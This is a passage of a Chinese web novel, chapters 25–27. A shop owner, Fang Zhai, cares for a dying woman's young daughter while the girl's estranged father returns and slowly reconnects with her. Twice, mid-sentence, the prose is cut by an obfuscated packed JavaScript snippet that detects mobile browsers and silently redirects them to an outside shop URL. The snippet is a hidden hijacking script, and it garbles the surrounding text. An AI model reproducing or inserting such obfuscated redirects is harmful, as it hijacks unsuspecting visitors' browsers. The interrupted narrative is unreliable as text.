“房寨。”他说，“房子的房，寨子的寨。” 王丽轻轻点了点头，像是在嘴里默念了一遍这个名字，把它记住了。 房寨走出病房，关上门。 阿坤在走廊里等着他，看到他出来，问了一句：“怎么样？” “还行。”房寨说，“比上次瘦了，但精神还好。” 阿坤点了点头，没有多问。 两个人顺着走廊往电梯的方向走。走廊很长，和来的时候一样长，但走起来好像短了一些。可能是知道了她在哪，心里有底了，路就不觉得长了。 等电梯的时候，房寨靠在墙上，长长地呼了一口气。 “你刚才说‘小月我会照顾的’。”阿坤说，“你是认真的？” “认真的。” “你知道照顾一个小孩意味着什么吗？” 房寨想了想，说了一个字：“面。” 阿坤愣了一下：“什么？” “就是面。”房寨说，“每天一碗面。” 电梯到了，门开了。两个人走进去，电梯里只有他们俩。门关上的时候，阿坤忽然说了一句：“寨哥，你这个人吧，有时候挺傻的。” 房寨没说话。 “但傻人有傻福。”阿坤补了一句。 电梯到了一楼，门开了。两个人走出住院部大楼，外面的风还是很大，吹得人睁不开眼睛。天还是很阴，云层还是那么低，灰蒙蒙的，压在城市的上空。但房寨觉得，今天的天气好像没那么糟糕。可能是因为他知道王丽在哪了，知道她还在，知道她还能喝汤，还能点头，还能笑。 他骑上三轮车，阿坤骑上电驴，两个人一前一后，往城南的方向去。 风从背后吹过来，推着他们往前走。 25.第 25 章 从医院回来的第二天，房寨的生活又回到了原来的轨道。 早上七点到店，备料，炖汤，煮面。中午忙一波，下午准备晚上的料，晚上再忙一波，关门回家。日子一天一天地过，和之前没什么两样。但仔细想想，好像又不太一样了。以前他每天想的都是店里的生意、菜单上的菜、食材的价格、月底的房贷。现在他脑子里多了一个人——小月。 小月还是每天来，中午来一次，下午放学再来一次。她坐在那张靠墙的椅子上，吃一碗面，写作业，等房寨忙完了跟他说几句话，然后背着那个越来越鼓的书包走了。她不知道妈妈转院了，也不知道房寨去医院看过妈妈。房寨没告诉她，不是想瞒她，是不知道怎么开口。他怕她知道了会哭，怕她一个人跑去城北那么远的地方找不到路，怕她知道了之后连每天这两碗面都吃不安稳了。 他决定先不说。 阿坤说他这样不对，小月有权知道自己妈妈在哪。房寨说他知道，但他需要找一个合适的时间、合适的方式，不是现在，不是在她还在吃面喝汤的时候。阿坤没再说什么，拍了拍他的肩膀就走了。 店里的生意进入了一个平稳期。 夏天的酸梅汤和绿豆汤彻底不卖了，凉面也从菜单上撤了下来。现在卖得最好的是煲仔饭和红烧牛肉面。煲仔饭一天能卖四五十份，三个口味，腊味最多，香菇滑鸡第二，排骨第三。红烧牛肉面一天也能卖三四十碗，汤头浓郁，牛肉软烂，很多客人专门冲着这个来的。 萝卜炖牛腩卖得也不错，但不像煲仔饭和牛肉面那么火爆。点这个的大多是老人和肠胃不好的人，觉得炖品清淡好消化，不像煲仔饭那么油腻。房寨把萝卜炖牛腩的价格从二十二降到了二十，降了两块钱，想着便宜点能多卖几份。结果也没多卖多少，但他没再涨回去，觉得老人吃的东西，便宜点就便宜点吧。 姜撞奶他试了几次，一直没做好。第一次姜汁放多了，辣得人嗓子疼。第二次姜汁放少了，奶不凝固，稀得像水。第三次比例对了，但温度没控制好，奶倒进去的时候太烫了，姜撞奶变成了姜花奶，上面飘着一层奶皮，下面是稀的。他试了七八次才做成一次，但那次也不是很满意，凝固得不够好，口感偏软，没有那种颤巍巍的弹性。他暂时放弃了姜撞奶，等以后有时间再慢慢研究。 红枣桂圆茶倒是很简单。红枣去核，桂圆干，枸杞，加水煮二十分钟，加点冰糖就好了。成本很低，一杯卖五块钱，利润不错。天冷了之后很多人点这个，尤其是女客人，说是暖宫。房寨不懂这些，但客人说好他就卖。 周阿姨现在每天中午来，干三个小时，洗洗碗擦擦桌子扫扫地。她干活很麻利，以前在工厂食堂练出来的本事，一个人能干两个人的活。她洗的碗特别干净，房寨检查过几次，碗底没有油渍，碗边没有食物残渣，连碗背都洗得锃亮。她还把厨房里的调料瓶按大小个排好，酱油醋料酒蚝油，整整齐齐的，看着就舒服。房寨有时候想帮忙，她说不用，你去做菜，这些活我来。 小赵现在基本能独当一面了。他学会了做炒河粉和凉面，虽然味道不如房寨做的，但也能吃，客人没什么意见。煲仔饭他还不太行，火候掌握不好，锅巴不是糊了就是太软。房寨教了他好几次，每次都是手把手地教，告诉他什么时候听声音，什么时候淋油，什么时候关火。小赵学得很认真，拿个小本子把房寨说的每句话都记下来，但一上手就不行了。房寨说没关系，慢慢来，他学了那么久才学会的，别人不可能几天就上手。小赵说好，但他每次做煲仔饭的时候还是很紧张，额头上全是汗。 房寨有时候下午会出去一会儿，去菜市场买菜，或者去医院看王丽。小赵一个人看店，有人点煲仔饭他就说“老板不在今天不卖煲仔饭”，客人也没说什么，改点面或者炒河粉。房寨觉得这样下去不是办法，他需要小赵尽快学会煲仔饭，或者再找一个会做煲仔饭的人。但找人不急，现在的生意他一个人还能应付。 王丽的情况不太好。 房寨每周去两次，周三和周六，都是下午人少的时候去。每次去他都带一保温桶汤，排骨汤、鸡汤、鱼汤，换着花样做。王丽喝得越来越少，上次去只喝了三四口就说喝不下了。她的声音也越来越轻，轻到房寨要把耳朵凑到她嘴边才能听清她说的话。 但她每次看到房寨来，眼睛还是会亮。那种光很微弱，像一盏快没电的灯，但确实在亮着。 她问得最多的就是小月。 “小月吃饭了吗？” “小月穿暖了吗？” “小月今天开心吗？” 房寨每次都回答得很详细。小月今天吃了什么面，吃了多少，有没有剩饭。小月今天穿了什么颜色的衣服，有没有戴帽子，有没有围围巾。小月今天写作业的时候有没有笑，有没有跟小赵说笑话，有没有收到新的小礼物。 他说得很慢，很仔细，怕漏掉什么。王丽听得很认真，听到小月长胖了会说“好”，听到小月考了七十多分会说“好”，听到小月画了新画会说“好”。她说的“好”字很轻，但很真，房寨能听出来那不是敷衍，是真的觉得好。 王丽隔壁床的老太太出院了，换了一个新病人。是个五十多岁的大叔，肺癌，刚做完手术，恢复得还行，能下地走路，能自己吃饭，嗓门还挺大，跟来探病的亲戚说笑，声音整个楼层都能听到。他老婆每天来送饭，保温桶里的饭菜比房寨带的还丰盛，四菜一汤，有鱼有肉，每次打开盖子香味就飘满整个病房。大叔看到房寨来了，会跟他打招呼，问他是不是王丽的亲戚。房寨说不是，是朋友。大叔哦了一声，没再问了。 小月还是不知道妈妈转院了。 房寨每次看到她，都想告诉她。但每次话到嘴边又咽回去了。他想，再等等吧，等王丽好一点，等他能说出“你妈妈会好起来的”这句话的时候，再告诉小月。但他不知道王丽会不会好起来。他每次去医院，看到王丽一次比一次瘦，一次比一次没精神，他心里那个念头就越来越弱。 他不愿意想那个最坏的结果。 十月下旬的时候，店里发生了一件小事。 有个客人吃完煲仔饭，把砂锅打碎了。不是故意的，是不小心碰掉的，砂锅掉在地上，啪的一声，碎成了好几瓣。那个客人很不好意思，说要赔钱。房寨说不用赔，一个砂锅没多少钱。客人坚持要赔，从钱包里掏出五十块钱放在桌上就走了，走得飞快，像是怕房寨追上来还给他。 房寨看着那五十块钱和地上碎成几瓣的砂锅，不知道该说什么。砂锅确实不贵，一个新的也就十几块钱。五十块钱够买三个了。他把钱收起来，去买了三个新砂锅回来，用淘米水煮了处理过，放在灶台边上备用。 新砂锅比旧的好，厚实一些，保温效果更好。房寨用新砂锅做了第一份煲仔饭，出来的锅巴比以前还脆。他把这份煲仔饭端给了一个老客人，老客人吃了一口就说了句“今天的锅巴不一样，比以前好”。房寨听了很高兴，决定把所有的旧砂锅都换了，一次性换了十几个，花了将近两百块钱。 晚上阿坤来店里吃饭，看到那一排新砂锅，说了一句：“寨哥，你现在舍得花钱了啊。” 房寨想了想，好像是这么回事。以前他舍不得换新砂锅，旧的那个内胆涂层掉了还在用。舍不得买新电饭煲，有人送了一个才用上。舍不得买新桌子，现在的桌子还是二手的，桌面上有好几道划痕。但现在他换新砂锅的时候没怎么犹豫，觉得该换就换。 可能是因为手头没那么紧了。开店几个月，虽然没赚大钱，但每个月的收入都在涨。上个月净赚一万二，这个月应该能到一万五。加上系统奖励的房贷减免，他已经还了快十五万的房贷了。手头也攒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17518286|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点钱，不多，但够应急的，够换十几个新砂锅的。 有一天下午，店里来了一个人。 房寨正在厨房里备料，听到门口有人喊他的名字。他抬头一看，是个四十多岁的男人，穿着灰色夹克，戴着眼镜，手里提着一个公文包。 “你是房寨？”男人问。 “我是。” “我是小月的爸爸。” 房寨手里的菜刀停了一下。 他打量着这个男人。中等身材，不胖不瘦，头发有点乱，眼镜片上有灰尘。他的表情很复杂，有愧疚，有紧张，还有一种说不出来的东西，像是一个欠了很久的债终于要来还了。 “进来坐。”房寨放下菜刀，擦了擦手。 男人走进来，坐在靠窗的位置上。房寨给他倒了一杯茶，在他对面坐下来。 “我叫张建国。”男人说，“小月的爸爸。” 房寨点了点头，等他继续说。 “我……以前不在这个城市，在外面打工。和小月妈妈离婚之后就没怎么回来过。”男人的声音很低，像是在跟自己说话，“前几天听说她住院了，就赶回来了。” 房寨没说话。他看着张建国，心里有很多话想说，但不知道该从哪一句开始。 “谢谢你照顾小月。”张建国从口袋里掏出一个信封，放在桌上，“这是一点心意，不多，你收下。” 房寨看了一眼信封，没有伸手去拿。 “我不是为了钱。” “我知道。”张建国说，“但你照顾她这么久，我不能白让你照顾。” “你要是真想谢我，就多去看看小月。”房寨说，“她需要一个爸爸。” 张建国沉默了。 他低下头看着茶杯，茶已经凉了，杯口有一圈茶渍。他盯着那圈茶渍看了好几秒，然后点了点头。 “我会的。” 张建国走的时候，把信封留在了桌上。房寨拿起信封，里面装着一千块钱。他把钱收进了抽屉里，没有动。他想，这钱不是给他的，是给小月的。等小月需要的时候，他会拿出来。 那天晚上小月来店里的时候，房寨犹豫了一下，还是告诉她了。 “小月，你爸爸回来了。” 小月正在吃面，筷子顿了一下。她没有抬头，继续吃面，吃了好几口才停下来。 “哦。”她说。 就一个字。 房寨不知道她心里在想什么。是不在意，还是太在意了所以不敢表现出来？他分不清。一个七八岁的小孩，心思可以很简单，也可以很复杂。 “他来看你了没有？”房寨问。 小月摇了摇头。 “他要是来了，你愿意见他吗？” 小月低着头，用筷子在碗里搅了搅，面已经吃完了，只剩一点汤。她把汤也喝了，放下碗，用手背擦了擦嘴。 “我不知道。”她说。 房寨没再问了。 他想，有些事情急不得。就像煲仔饭的火候，火太大了会糊，火太小了不熟。得等，等那个最合适的时机。 小月走的时候，书包还是那么鼓。她背起来的时候身子微微往前倾了一下，书包太重了，她小小的身体被压得有点弯。但她没有喊重，也没有让房寨帮她拿，就那么背着书包走了。 房寨站在门口看着她的背影。路灯把她的影子拉得很长很长，细细的一条，像一根随时会被风吹断的线。但她走得很稳，一步一步的，不快不慢。 他忽然想起王丽说过的一句话。 “她叫小月。谢谢。” 不是“我的女儿叫小月”，是“她叫小月”。好像小月不是她一个人的，好像是托付给他的一样。 房寨转身回到店里，把碗收了，把桌子擦了，把厨房收拾干净。 明天还要早起。 26.第 26 章 张建国第二天就来了店里。 不是来看房寨的，是来看小月的。他来得太早了，下午三点多就到了，小月还没放学。他坐在店里靠窗的位置上，点了一碗红烧牛肉面，慢慢地吃，吃完了也没走，又要了一杯红枣桂圆茶，一小口一小口地喝。 房寨在厨房里备料，透过窗口看了他几眼。张建国坐在那里，眼睛一直盯着门口，每进来一个人他都要抬头看一下，发现不是小月，又低下头继续喝茶。他喝茶的样子很小心，端着杯子，嘴唇抿着杯沿，吸一小口，然后放下，像是在等什么很重要的事情。 等了快两个小时，快五点了，小月还没来。 张建国有点坐不住了。他站起来在店里走了两步，又坐下了。从口袋里掏出手机看了一眼，又揣回去了。把杯子里的茶喝完了，又要了一杯。周阿姨给他端过去的时候问他是不是在等女儿，他点了点头，说了一句“嗯”，声音很小。 五点多，小月来了。 她背着那个鼓鼓囊囊的书包，推门进来的时候，先看到了房寨，喊了一声“叔叔”。然后她看到了张建国。 她站在门口，不动了。 张建国站起来，看着她。他的手不知道往哪放，先是垂在身体两侧，又插进裤兜里，又拿出来，最后握在一起放在身前，像一个做错了事的小学生。 “小月。”他叫了一声。 小月没说话，就站在门口，两只手攥着书包带子，攥得紧紧的。她的表情很平静，不是那种刻意装出来的平静，是真的平静。一个七八岁的小孩，看到好几年没见的爸爸，脸上没有惊喜，没有愤怒，没有害怕，什么都没有，就是一张空白的脸。 房寨从厨房里出来，看了看小月，又看了看张建国。 “小月，你爸爸等了你一下午了。” 小月还是没说话。她走到自己的椅子上坐下来，把书包放在旁边，动作和每天一样，很自然的，好像张建国不存在一样。 张建国站在那里，脸上有点挂不住。他走到小月对面坐下来，想说什么，张了张嘴，又闭上了。 沉默。 店里没有别的客人，只有他们三个人，加上厨房里的周阿姨在洗碗，水声哗哗的。窗外的天已经开始暗了，路灯亮了，橘黄色的光照进来，落在蓝色的格子桌布上，暖洋洋的。 房寨站在厨房门口，不知道该不该走开。他想给他们父女一点空间，但又怕小月有什么事。他犹豫了一下，还是回了厨房，但没关门，耳朵竖着听外面的动静。 小赵来了，看到店里的气氛不对，问房寨怎么了。房寨小声说了一句“小月她爸来了”，小赵哦了一声，没再问了，默默地开始收拾桌子，动作很轻，怕发出声音。 过了大概五分钟，小月先开口了。 “你来看妈妈的？”她问张建国。 张建国点了点头。 “妈妈病了。”小月说。 “我知道。” “你以前为什么不来看我们？” 这句话问得很直接，直接到张建国不知道怎么回答。他沉默了好一会儿，嘴唇动了几次，但每次都没发出声音。最后他说了一句：“爸爸以前做错了。” 小月看着他，看了好几秒。 “你做错了什么？”她问。 张建国又沉默了。他的眼眶红了，但没有哭，喉咙动了一下，像是在咽什么东西。 “很多。”他说。 小月没再问了。她从书包里掏出作业本，开始写作业。和平常一样，先写数学，再写语文。她写作业的样子很认真，头低着，笔握得很紧，一页一页地写，翻页的时候声音很轻。 张建国就坐在对面看着她。他不说话了，就那么看着，像看一件很珍贵的、丢了很久终于找回来的东西。他的眼神很复杂，有愧疚，有心痛，有一种说不清的东西在里面。他看着小月写字的样子，看她的手握着笔，看她的小拇指上还沾着圆珠笔的蓝墨水。 房寨在厨房里煮了一碗阳春面，端出来放在小月面前。不是她平时吃的那个时间，但她没说什么，放下笔开始吃面。 张建国看着那碗面，抬起头看了房寨一眼。房寨冲他微微点了点头，意思是“你放心吧”。 小月吃面的速度比平时慢，不知道是不是因为张建国在旁边。她一口一口地吃，每一口都嚼很久，像是在想什么事情。吃到一半的时候，她忽然停下来，抬起头看着张建国。 “你吃饭了吗？”她问。 张建国愣了一下。 “吃了。”他说，“吃了牛肉面。” 小月点了点头，又低下头继续吃面。她把面吃完了，汤也喝了，和每天一样。然后她把碗推到一边，继续写作业。 张建国看着那个空碗，眼眶又红了。这次没忍住，眼泪掉了一滴，砸在桌布上，洇开一个小圆点。他赶紧用手背擦了一下，假装什么都没发生。 小月没看到，她低着头写作业。 那天张建国在店里待了很久，一直待到小月写完作业，收拾好书包，准备走。他站起来，看着小月。 “我送你回家。”他说。 小月犹豫了一下，点了点头。 两个人一前一后走出了店门。张建国走前面，小月跟后面，隔着两三步的距离。路灯把他们的影子投在地上，一大一小，大影子在前面，小影子在后面，中间隔了一段空白，像一条河。 房寨站在门口看着他们走远。张建国走得很慢，大概是想让小月跟上。但小月也走得很慢，始终保持着那两三步的距离，不快不慢，像是故意在保持这个距离。 夜风吹过来，把地上的落叶吹得沙沙响。小月的校服被风吹起来一角，她伸手按住了。张建国回过头看了她一眼，想说什么，但没说出来，又转过头继续走了。 他们的身影越来越远，越来越小，最后消失在街角。 房寨在门口站了一会儿，直到看不见了才转身回店里。 小赵在擦桌子，看到房寨进来，问了一句：“老板，你说小月她爸这次是真心的吗？” 房寨想了想，说不知道。 他是真的不知道。张建国这个人，他不了解。以前为什么离婚，为什么走了就不回来，现在为什么又回来，是真的想弥补，还是只是良心不安？他分不清。但他知道一件事——小月需要一个人。不是他房寨，不是周阿姨，不是小赵，是一个真正跟她有血缘关系的、能陪她长大的、能给她一个家的人。 他可以是那个做饭的人，可以是那个给她面吃的人，可以是那个在她写作业的时候在旁边坐着的人。但他不是她爸爸。爸爸这个位置，没有人能代替。 第二天，张建国又来了。 这次他来早了，下午两点多就到了。小月还没放学，他就在店里等着，点了一碗萝卜炖牛腩，慢慢地吃，吃完了又点了一份炒河粉，也吃完了。 房寨看他吃了这么多，忍不住问了一句：“你没吃午饭？” 张建国苦笑了一下：“吃了，就是想吃你做的菜。好吃。” 房寨没再问了。 三点多的时候，张建国开始在店里转悠。他看了看墙上贴的菜单，看了看厨房里的设备，看了看冰箱和冰柜，问了一些关于食材采购和成本控制的问题。房寨一一回答了，不知道他问这些干什么。 “我以前在饭店干过。”张建国说，“不是厨师，是跑堂的。干了两年，后来不干了。” 房寨哦了一声。 “你要是忙不过来，我可以来帮忙。”张建国说，“不要钱。” 房寨看了他一眼，不太确定他是不是认真的。 “你不是来看小月的吗？” “看小月也不耽误干活。”张建国说，“她在的时候我陪她，她不在的时候我帮你干点活，反正我闲着也是闲着。” 房寨想了想，没答应也没拒绝。他不了解张建国，不知道这个人靠不靠谱。一个抛下妻女好几年不管的人，忽然说要来帮忙干活，换谁都会多想。 张建国好像看出了他的顾虑，说了一句：“我知道你不信我。没事，慢慢来。” 那天小月来的时候，张建国没有像昨天那样坐在对面盯着她看。他坐在另一张桌子上，假装在看手机，但眼睛一直往小月那边瞟。小月吃面的时候他看了一眼，写作业的时候他又看了一眼，收拾书包要走的时候他站起来，还是说了一句“我送你回家”。 这次小月没有犹豫，直接点了点头。 两个人还是一前一后走的，但这次的距离近了一点。大影子和小影子之间那条河，好像窄了一些。 接下来的几天，张建国每天都来。 他来得越来越早，有时候上午就到了。他帮周阿姨洗碗，帮小赵擦桌子，帮房寨搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521449|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西。他干活很卖力，不多话，也不邀功，干完了就坐在角落里等小月放学。他洗碗洗得很仔细，每一个碗都要洗三遍，第一遍用洗洁精，第二遍用清水冲，第三遍再用清水冲，然后用干布擦干了再放进消毒柜。房寨第一次看到的时候愣了一下，洗碗能洗成这样，是真的用心了。 周阿姨说他“这人还行”，小赵说他“看着不像坏人”。房寨还是没表态，但他没赶张建国走，默许了他在店里待着。 有一天下午，店里没什么人，房寨在厨房里试新菜。他想做一个红烧肉，试了好几次都不满意，不是太腻就是太柴，颜色也不够红亮。张建国站在厨房门口看了一会儿，忽然说了一句：“你炒糖色的时候火太大了，糖苦了。” 房寨愣了一下。他尝了一口，确实是苦的，他之前没尝出来。 张建国走进厨房，接过锅铲，重新炒了一锅糖色。小火，慢慢搅，糖从白色变成黄色，从黄色变成棕色，到枣红色的时候，他下五花肉翻炒，肉块均匀地裹上了糖色，红亮红亮的，很好看。 “你学过？”房寨问。 “以前在饭店后厨偷学的。”张建国说，“厨师炒菜的时候我就站在旁边看，看了两年。” 房寨尝了一口张建国做的红烧肉，肥而不腻，瘦而不柴，甜咸适中，比他自己做的强多了。 “你要是愿意，以后可以来厨房帮忙。”房寨说。 张建国看着他，笑了一下。那个笑容里有感激，也有如释重负，好像等了很久终于等到了这句话。 “好。”他说。 从那天起，张建国成了店里的编外员工。他不要工资，房寨也不给，但他每天来，从早待到晚，比正式员工还勤快。他帮房寨备料、切菜、炖汤、炒菜，他学得很快，房寨教他的东西他一遍就会，两遍就能做好。他做的红烧牛肉面味道已经很接近房寨的了，煲仔饭的锅巴也做得像模像样，虽然还不如房寨，但比小赵强多了。 小赵对此很有意见，不是对张建国有意见，是对自己没意见——“怎么人家学得那么快，我学得那么慢？”房寨说可能是天赋问题。小赵更郁闷了。 小月对张建国的态度在慢慢变化。 最开始是不理，当他不存在。后来是偶尔看一眼，但不说活。再后来是张建国跟她说话的时候她会回一个字，“嗯”或者“哦”。最近这几天，她开始主动跟张建国说一些话了，虽然都是很简单的—— “水” 、“笔断了” 、“这道题不会”。 张建国每次听到小月跟他说话，眼睛都会亮一下，那种光和房寨在医院看到王丽眼睛里的光很像，都是一个快绝望的人忽然抓住了一点希望的样子。 房寨看在眼里，心里慢慢有了一些判断。 张建国这个人，以前可能确实做错了。但他现在在努力弥补。努力这个东西是骗不了人的，你花多少时间，用多少心，别人都看得到。他每天从早待到晚，不拿一分钱，干活比谁都卖力，不是为了房寨，是为了小月。 他想让小月看到，他在这里，他不走了。 有一天晚上关店之后，房寨和张建国两个人坐在店里喝茶。张建国端着杯子，看着窗外的路灯，忽然说了一句：“我以前不是人。” 房寨没接话。 “小月刚出生的时候，我在外面打工，一年回一次家。后来跟她妈吵架，吵着吵着就离了。离了之后我就不回来了，觉得自己没脸回来。”张建国的声音很低，“这几年我在外面换了好几个城市，干过工地，干过保安，干过外卖，什么都干过，但心里一直空着，总觉得少了什么。后来我才知道，少的是她。” 他指了指店门口，小月每天坐的那个方向。 “我想补回来。”张建国说，“不知道还来不来得及。” 房寨喝了一口茶，茶已经凉了，有点苦。 “来得及。”他说。 张建国转过头看着他，眼眶红了，但没哭。他点了点头，把杯子里的凉茶一口喝了，站起来说了一句“明天见”，然后走了。 房寨一个人坐在店里，把灯关了，只留了厨房的一盏小灯。橘黄色的光从厨房门口透出来，照在蓝色的格子桌布上，很暖。 他想起王丽。不知道她知不知道张建国回来了，不知道她愿不愿意让他见小月，不知道她还能撑多久。 他明天要去医院，把这些事告诉王丽。 27.第 27 章 房寨去医院的时候，带了一保温桶鸡汤。 鸡是早上从菜市场买的，活杀的老母鸡，黄澄澄的油，炖了一个上午。他加了红枣、枸杞、当归，炖到汤色金黄，上面漂着一层薄薄的油光。撇掉浮油之后，汤清亮亮的，喝起来很鲜，不腻。 到了医院，停好三轮车，抱着保温桶上三楼。走廊还是那个走廊，灯还是那么亮，消毒水的味道还是那么重。护士站的小护士已经认识他了，看到他来，点了点头，说了一句“今天精神好一点”。 房寨心里稍微松了一下。 推开病房的门，王丽醒着。她靠在床头，半躺着，枕头垫得很高。床头柜上多了一束花，粉色的康乃馨，插在一个塑料瓶子里，水很清，应该是刚换过的。花看起来很新鲜，花瓣上还有水珠，不知道是谁送的。 她比上次好了一点。不是身体好了，是精神好了。眼睛没那么凹陷了，脸色还是蜡黄，但嘴唇有了一点血色，不是之前那种灰白色。她看到房寨进来，嘴角微微翘了一下。 “今天气色不错。”房寨把保温桶放在床头柜上，把花往旁边挪了挪。 王丽轻轻点了点头。她的动作还是慢，但比之前有力了一些，点头的时候脖子能撑住了，不会晃来晃去的。 房寨搬了椅子坐在床边，打开保温桶，倒了一碗鸡汤。汤很烫，热气往上冒，带着红枣和当归的味道，整个病房都香了。隔壁床的大叔吸了吸鼻子，说了一句“好香啊”，他老婆在旁边白了他一眼，小声说“人家给病人喝的”。 房寨用勺子舀了一勺，吹了吹，送到王丽嘴边。王丽张开嘴喝了一口，慢慢咽下去，闭上眼睛停了两秒，像是在品味那个味道。然后她睁开眼，轻轻说了一句：“好喝。” 房寨一勺一勺地喂她，她喝了小半碗，比上次多。喝完之后她靠在床头，看着房寨，嘴唇动了动。 “小月……”她问。 “小月很好。”房寨把碗放在一边，“她长胖了一点，脸上有肉了。周阿姨天天给她带零食，她不吃，说要留给妈妈。小赵教她写作业，她的数学进步了，上次考了七十八分，比以前多了好几分。” 王丽的眼睛亮了一下，和每次听到小月的消息时一样。那种光很熟悉了，房寨已经见过很多次，但每次看到还是会心里发紧。 “还有一件事。”房寨犹豫了一下，“张建国回来了。” 王丽的表情变了。 不是惊讶，不是愤怒，不是悲伤。是一种很复杂的东西，像是一潭死水里忽然被投进了一颗石子，泛起了涟漪，但很快就平了。她的眼神变了一下，然后恢复成了原来的样子，好像什么都没发生过。 “他来看小月了。”房寨说，“每天都在店里，帮了不少忙。他干活挺利索的，以前在饭店干过，红烧肉做得比我好。” 房寨不知道自己为什么要说红烧肉的事。可能是觉得话题太沉重了，想加点轻松的东西。但说出来之后也没觉得轻松，反而觉得更沉重了。 王丽沉默了很久。 病房里很安静，隔壁床的大叔和他老婆也不说话了。大叔大概是睡着了，呼吸声很重，一起一伏的，像拉风箱。他老婆在旁边削苹果，果皮一圈一圈地垂下来，很长，没断。 “他变了。”王丽终于开口了，声音很轻，“以前他不会干活的。” 房寨不知道她说的“以前”是什么时候。是他们还在一起的时候，还是刚分开的时候？他没问。 “小月跟他说话了吗？”王丽问。 “说了。一开始不说话，后来开始说一两个字，现在能说一两句话了。”房寨说，“昨天她爸送她回家的时候，她主动说了一句‘明天见’。她爸听了差点哭了。” 王丽的眼睛湿了。这次没有眨眼把水光弄掉，让眼泪流了下来，顺着脸颊慢慢滑下去，流到下巴，滴在枕头上。她没有出声，就那么无声地流着泪，和第一次在病房里见到她时不一样。那次她是笑着说谢谢，这次她是哭。 房寨从口袋里掏出纸巾，递给她。王丽接过纸巾，手有点抖，擦了两下，把纸巾攥在手里，攥成了一团。 “他要是对小月好，”王丽说，“我就不担心了。” 房寨想说“你不用担心”，但这句话他说过很多次了，再说就假了。他换了一句：“小月会没事的。” 王丽看着他，看了好几秒。她的眼神里有感激，有信任，还有一种房寨看不懂的东西。那种东西很重，像是一个人在把最珍贵的东西交到另一个人手里。 “房寨。”她叫了一声他的名字。 这是她第一次叫他的名字。之前她都是叫他“老板”，或者不叫。她念这个名字的时候很慢，房——寨——，像是在确认自己有没有记对。 “谢谢你。”她说。 又是谢谢。 房寨已经数不清她说了多少次谢谢了。信上写过，见面说过，每一次来都说。每一次都是真的，每一次都让他不知道该怎么接。 “别说谢谢了。”房寨说，“你好好的就行。” 王丽没再说话了。她闭上眼睛，像是累了。呼吸慢慢变得均匀，胸口的起伏很轻很轻，被子几乎看不出在动。她的手放在被子外面，手指细得像枯枝，指甲是灰白色的，没有血色。 房寨把被子往上拉了拉，盖住她的手。他把保温桶盖上，站起来，轻手轻脚地往外走。 走到门口的时候，王丽忽然说话了。 “房寨。” 他回过头。 “小月喜欢吃糖醋排骨。”王丽说，“以前我常给她做，后来做不动了。” 房寨点了点头，记下了。 从病房出来，他在走廊里站了一会儿。走廊很长，灯很亮，尽头还是黑的，和每次来一样。但有一样东西不一样了。走廊的墙上多了一幅画，是那种儿童画的复制品，画的是一个小女孩牵着妈妈的手，太阳很大，花很红，草很绿，颜色鲜艳得有点假。画的右下角印着一行小字：祝您早日康复。 房寨看着那幅画，想起小月画的那幅《我和妈妈》。小月的画没那么好看，线条歪歪扭扭的，颜色涂出了边界，但那种感觉是一样的——一个小孩想要抓住妈妈的手，不想放开。 他转身走了。 回到店里的时候，张建国正在厨房里忙活。 他系着围裙，袖子卷到手肘，正在切菜。案板上摆着一排切好的土豆丝，粗细均匀，长短一致，码得整整齐齐。旁边的小碗里装着切好的葱花和姜末，还有一碗调好的糖醋汁。 “今天做糖醋排骨？”房寨问。 张建国抬起头看了他一眼，手上的活没停：“小月说想吃，我就试着做一下。以前没做过，不知道好不好吃。” 房寨看着案板上的排骨，剁得整整齐齐，每一块大小差不多。排骨已经焯过水了，表面没有血沫，干干净净的。张建国做事的风格和他这个人一样，不急不慢，但每一步都很扎实，不马虎。 “她什么时候说的？”房寨问。 “昨天，送她回家的路上。她说妈妈以前经常做糖醋排骨给她吃，好久没吃了。”张建国说着，把糖醋汁倒进锅里，开火熬。汁水在锅里咕嘟咕嘟地冒泡，颜色从透明慢慢变成琥珀色，越来越浓，越来越亮。 排骨下锅，翻炒，每一块都均匀地裹上了糖醋汁。张建国用铲子翻了翻，让排骨在锅里焖了一会儿，然后大火收汁，出锅装盘，撒上白芝麻。 颜色红亮，汁水浓稠，芝麻点缀在上面，很好看。 房寨拿筷子夹了一块，咬了一口。排骨炖得够烂，肉一咬就从骨头上脱下来了，糖醋汁的味道进去了，酸甜适中，不腻。 “好吃。”房寨说。 张建国松了一口气，像是参加了一场很重要的考试，终于通过了。 傍晚小月来的时候，张建国把糖醋排骨端到她面前。小月看着那盘排骨，愣了一下，然后抬起头看了看张建国，又看了看房寨。 “你做的？”她问张建国。 张建国点了点头，有点紧张，像是怕她不喜欢。 小月拿起筷子夹了一块，咬了一小口，嚼了嚼，没说话，又咬了一大口，把整块排骨吃完了。然后她又夹了一块，这次没有犹豫，直接塞进嘴里。 张建国看着她吃，手不自觉地攥紧了围裙的下摆，攥得指节都发白了。他的表情很紧张，比等房寨评价的时候紧张多了，好像小月的反应决定了他的生死。 “好吃吗？”他问。 小月点了点头，嘴里还含着肉，含混地说了一句“好吃”。声音不大，但张建国听到了。他的眼眶一下子红了，转过身去假装拿东西，用袖子擦了一下眼睛。 房寨在厨房里看到了，没说什么，低下头继续切菜。 